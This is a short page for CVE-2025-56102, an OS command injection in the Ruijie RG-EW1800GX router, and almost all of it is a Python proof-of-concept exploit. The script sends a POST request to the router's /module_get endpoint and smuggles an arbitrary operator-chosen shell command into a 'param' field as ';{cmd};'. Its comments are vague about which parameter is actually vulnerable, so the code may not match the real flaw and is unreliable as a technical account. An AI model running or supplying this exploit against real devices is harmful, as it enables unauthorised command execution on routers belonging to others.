CVE-2025-56102 锐捷RG-EW1800GX路由器OS命令注入漏洞

import requests import sys # CVE-2025-56102 PoC - Ruijie RG-EW1800GX OS Command Injection # Target: /module_get endpoint in /usr/local/lua/dev_sta/networkConnect.lua def exploit(target_ip, port=80, cmd='whoami'): """ Exploit OS Command Injection in Ruijie RG-EW1800GX Args: target_ip: Target device IP address port: Web management port (default: 80) cmd: Command to execute on the target Returns: Response from the vulnerable endpoint """ url = f'http://{target_ip}:{port}/module_get' # Payload construction - inject OS command via POST parameter # The vulnerability allows command injection through specific parameters # that are passed to os.execute() or similar functions without sanitization payload = { 'module': 'dev_sta/networkConnect', 'action': 'connect', # Command injection via parameter manipulation 'param': f';{cmd};' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-56102-PoC)' } try: response = requests.post(url, data=payload, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f'Error: {str(e)}' if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [command]') print(f'Example: python {sys.argv[0]} 192.168.1.1 whoami') sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f'[*] Targeting {target}') print(f'[*] Executing command: {command}') print('[*] Response:') print(exploit(target, 80, command))